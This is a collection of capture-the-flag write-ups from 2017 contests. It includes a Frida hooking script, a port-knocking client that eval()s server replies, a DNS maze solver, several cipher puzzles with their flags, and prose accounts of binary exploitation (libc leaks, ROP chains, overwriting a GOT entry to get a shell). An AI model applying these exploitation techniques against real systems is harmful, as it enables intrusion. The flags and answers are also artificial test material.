Run the fiboncci program and the following script as another process. It will quantum computer speed to the program.```from __future__ import print_functionimport fridaimport sys
session = frida.attach("fibonacci")script = session.create_script("""last = -1;var memp = [];var memr = [];Interceptor.attach(ptr("%s"), { onEnter: function(args) { this.skip=0; this.origIndex = args[0].toInt32(); this.origValue = Memory.readInt(args[1]); this.origAddress = args[1]; if(last>=args[0].toInt32()){ this.skip=1; args[0] = ptr(0); } }, onLeave: function (retval) { if (this.skip===0) { last = this.origIndex; memr.push(retval.toInt32()); memp.push(Memory.readInt(this.origAddress)^this.origValue); }else{ Memory.writeInt(this.origAddress, this.origValue^memp[this.origIndex]); retval.replace(memr[this.origIndex]); } }});""" % 0x400670)
script.on('message', lambda x,d: print(x,d))script.load()sys.stdin.read()``` |
# knocker
We started off by connecting to the server, with the given port, and were greeted by the initial server message: "Welcome to the third annual short python challenge. You'll get one letter at a time and a new problem to solve each time. Left vague on purpose. You'll figure it out. Hit enter when you're ready...".Pressing enter gave us a number and then after a short time it would time out and return the message "Better luck next time". We ran it a few times and got a few different results including: plain text numbers e.g. 'twenty four' and mathematical functions such as trunc() or ceil().We decided to google 'python knocker' and discovered about port knocking (https://en.wikipedia.org/wiki/Port_knocking/). We looked back at the outputs and realised that the number it was giving us was the next port to knock: so we need to code a port knocker in python!
Using the 'socket' module we were able to open a connection to each port. We imported the functions from 'math' that we needed and then used the code, written by recursive, in this stackoverflow question, to parse the plain text numbers (https://stackoverflow.com/questions/493174/). The next port number was then taken care of by using eval() to evaluate any functions given to us.
```pythonsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)port = 7747sock.connect(("18.216.59.235", port))```Not knowing how many characters were in the flag we ran the loop 50 times; creating a new socket object each time and adding it to a list for easy access.
Using socket.recv() returned the letter required for the flag as "b'<character>\n'" with <character> being a single character from the flag. We stored the flag character in a string variable and printed it out at the end.This was where the first issue arose; the server was meant to return the flag character in one message and then send the next port number in the next message, however sometimes the server would send the flag character and the next port number in the same message and leave the next message blank. To overcome this I programmed in a check to see if the first message was more than 6 characters long, and then if it was, to use the second part of it as the str to evaluate.
```python if len(message) > 6: response = message[5:] dump = socketList[socketNumber].recv(1024) else: response = str(socketList[socketNumber].recv(1024))```
We used a lot of replace() functions to strip the server messages of certain characters, whereas we should have used regex... but we were just aiming to get the flag, you can make it more efficient/prettier later! :)
```python response = str(response.replace("b'",'',1)) response = str(response[:-3]) try: if 'and' in response: response = response.replace(',','') response = response.replace('-',' ') response = str(text2int(response)) except: pass
newPort = eval(str(response))```
For an unknown reason the flag returned didn't have '}' at the end and it would just refuse the last connection, luckily we managed to get the important part of it though!
Flag was RC3-2017{i-am-the-0ne-wh0-kn0ckz}
Full code found in the git repo:
```python#!/usr/bin/python3
import socketfrom math import floor, trunc, ceil
def text2int(textnum, numwords={}): if not numwords: units = [ "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", ]
tens = ["", "", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety"]
scales = ["hundred", "thousand", "million", "billion", "trillion"]
numwords["and"] = (1, 0) for idx, word in enumerate(units): numwords[word] = (1, idx) for idx, word in enumerate(tens): numwords[word] = (1, idx * 10) for idx, word in enumerate(scales): numwords[word] = (10 ** (idx * 3 or 2), 0)
current = result = 0 for word in textnum.split(): if word not in numwords: raise Exception("Illegal word: " + word)
scale, increment = numwords[word] current = current * scale + increment if scale > 100: result += current current = 0
return result + current
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)port = 7747sock.connect(("18.216.59.235", port))
socketList = []socketList.append(sock)
for i in range(2): print(sock.recv(1024))
sock.send(b'\r')
answer = ''
for socketNumber in range(50): newSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socketList.append(newSocket) message = str(socketList[socketNumber].recv(1024)) answer += message[2]
if len(message) > 6: response = message[5:] dump = socketList[socketNumber].recv(1024) else: response = str(socketList[socketNumber].recv(1024))
response = str(response.replace("b'",'',1)) response = str(response[:-3]) try: if 'and' in response: response = response.replace(',','') response = response.replace('-',' ') response = str(text2int(response)) except: pass
newPort = eval(str(response)) socketList[sockNumber].close() print(answer) socketList[socketNumber+1].connect(('18.216.59.235', newPort))
``` |
[writeup by @TheNodi]
**CTF:** HXP CTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** misc / Irrgarten
The only hint we are given is a dig command querying a DNS Server:
```dig -t txt -p53535 @35.198.105.104 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link```
We executed it and the answer was a TXT record saying `Try down.<domain>`.
We queried `down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link` and received a CNAME record pointing to `569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link`.
After playing around with the DNS Server, we understood that every URL was a position in a maze and we could move by prepending `down/up/right/left` to the address.
At this point it was as easy as to code a [Wall Follower](https://en.wikipedia.org/wiki/Maze_solving_algorithm#Wall_follower) algorithm and let it run for a few minutes. When we faced a "dead end" we checked the TXT record associated with that address, to check if it contained the flag.
At the end we found the flag to be: `hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}`.
### Automated Script
```jsconst dns = require('dns');
dns.setServers([ '35.198.105.104:53535']);
/** * Get information for given position * * @param {string} position */function info(position) { return new Promise((resolve, reject) => {
dns.resolveTxt(`${position}.maze.ctf.link`, (err, records) => {
if (err || records.length === 0) { resolve(false); } else { resolve(records); }
});
});}
/** * Move from given position into a direction * * @param {string} position * @param {string} direction */function moveTo(position, direction) { return new Promise((resolve, reject) => {
dns.resolveCname(`${direction}.${position}.maze.ctf.link`, (err, records) => {
if (err || records.length === 0) { resolve(false); } else { resolve(records[0].replace('.maze.ctf.link', '')); }
});
});}
const followerDirections = { down: ['left', 'down', 'right'], up: ['right', 'up', 'left'], right: ['down', 'right', 'up'], left: ['up', 'left', 'down'],};
const visited = [];
/** * Wall Follower Maze solver * * @param {string} start * @param {string} from */async function solve(start, from) { visited.push(start); let moved = false;
for (let i = 0; i < 3; i++) { const direction = followerDirections[from][i];
const next = await moveTo(start, direction);
if (next !== false) {
if (visited.indexOf(next) > -1) { console.log(`\x1b[37mVisited: ${next}\x1b[0m`); return; }
moved = true;
await solve(next, direction); } }
if (!moved) { console.log(`\x1b[90mDead end: ${start}\x1b[0m`);
const txt = await info(start);
if (txt !== false) { console.log(`\x1b[41mInfo: ${txt}\x1b[0m`); } }}
solve('950ae439-d534-4b0c-8722-9ddcb97a50f6', 'down');``` |
Science Class
This is going to be a great year! Barely five minutes into chemistry and your friend passes you thisnote inviting you to a party! **What do they want you to bring?**
matrice 8x18 >>>>>>>periodic table
2,2>>>>>>>>>>>>>>>>>>>>>>Be
3,16>>>>>>>>>>>>>>>>>>>>>S
4,13>>>>>>>>>>>>>>>>>>>>>Ga
4,16>>>>>>>>>>>>>>>>>>>>>Se
8,15>>>>>>>>>>>>>>>>>>>>>Er
flag : RC3-2017{BeerGases}
|
Decrypt me! RC3-2017{GUPNCH_AITIL}
Affine number GUPNCH AITIL its possible bruteforce using http://www.dcode.fr/chiffre-affine >>>>>>>>>>RC3-2017{GARDEN_SALAD}
A=1,B=8SALAD
A=15,B=20 GARDEN |
This problem was worth 400 points and was the 4th in a series of classroom or school themed problems in the crypto category. English class, Science Class, History Class, Math Class and finally Report Card were the series of five challenges, worth 100,200,300,400 and 500 points. We did successfully solve Science and History for those 500 points. |
# History Class Part (3/5)
For this challege we were given a family crest and a set of numbers.
230, 613, 489, 541, 253, 655, 40, 498, 341, 284, 613
First of all we googled the numbers, but nothing of value came up. So then we used google to image search the crest: turns out that it belongs to Benjamin Franklin! Next up, googling 'Benjamin Franklin Cipher'.
This is where it started making sense; Franklin used a cipher called Dumas' Cipher, to send a letter in 1776 which was recently decoded.
The cipher uses a key text, and the numbers written correspond to the letter at that position in the text.
Using the text, I made a small python script to print out the corresponding letters.
```pythonkey = "Voulez=vous sentir la difference? Jettez les yeux sur le continent septentrional de l'amerique. Dans les resolutions vigoureuses de ces braves colons vous reconnoitrez la voix de la vraie liberte * aux prises avec l'oppression. Vous fremirez, vous vous revolte= rez contre la morgue & la durete inconcevable de ceux, qui, jaloux a l'extreme de leur propre liberte, pensent de pouvoir devenir plus puissants, de pouvoir rester libres eux=memes en asservissant leurs freres. Vous ne pourrez vous empecher de faire votre cause de celle de ces peuples, de leur savoir gre de leur fermete, de trem= bler qu'ils ne suciombent sous la massue levee du pouvoir, qui veut ou les gouverner arbitrairement, ou les ecraser, en fin de leur sou= haiter avec le genereux d. der. tout le succes possible dans leur juste resistance."key = key.replace(' ','')
positionsToGet = [230, 613, 489, 541, 253, 655, 40, 498, 341, 284, 613]text = ''for i in positionsToGet: text += key[i-1]print (text)```The code printed out the result: 'thepoiymath' and after google autocorrected that to 'The Polymath', we got the flag!
RC3-2017{thepolymath} |
Leak stack variables and libc address from uninitialized buffer, overflow the last read by providing a negative length, rop to system.[Full writeup here](https://theromanxpl0it.github.io/ctf_hxp2017/2017/11/24/babyish.html) |
# Secret Mailer Service - Exploitation - 256 points - 32 teams solved
> nc sms.tasks.ctf.codeblue.jp 6029>> [secret_mailer_service.tgz](./secret_mailer_service.tgz-47398016b8bf5679acfaa552e0f7cc37229d3d1b8aa45d22f866d3b347347817)
This x86 binary allows you to write, delete or "post" notes. The structure of the notes is this:
00000000 postentry struc ; (sizeof=0x108, mappedto_2) 00000000 in_use dd ? 00000004 size dd ? 00000008 data db 256 dup(?) 00000108 postentry ends Since there are max 5 entries, and they are all preallocated on the stack, there's no `malloc`/`free` to exploit. When "post"ing a note, you pick from a list of filters, which then the note is sent through before being written to `/dev/null`. The vulnerability here is that the filter list is implemented as a jump table, and uses a signed compare so you are allowed to use negative indexes.
The GOT entries are right below the jump table, so you can easily call any of them. The only problem is finding something that can do something useful with the function arguments. The filter function signature is `filter(FILE* output, char* buffer, int buffersize)`. Our first idea is some form of `FILE*` structure corruption, but none of the functions seem to be able to write into the structure.
We finally realize we can use `setbuf()` to set the buffer of `/dev/null` to one of the post structure entries on the stack. Since each post is 264 bytes in size, and the default buffer size for libc is 8192 bytes, we can "post" notes until the buffer overwrites another entry, and can then rewrite the size of a post entry. We can then "post" an oversized note with XOR encryption to overwrite into the stack. (After the contest was over, we realized that we could just do this in one stage by continuing posting past the end of the post structures, which would probably be easier)
We prepare a ROP chain that leaks a libc address, then reads back an address which overwrites `atoi()` in the GOT with the address of `system()`. Since organizers have provided us with the `libc.so.6` from the system we don't have to do any further leaks, and can simply run `/bin/sh`. With shell access we find the flag, `CBCTF{4R3_YOU_w4RM3D_UP_f0R_MORE_PWNabLeS?}` |
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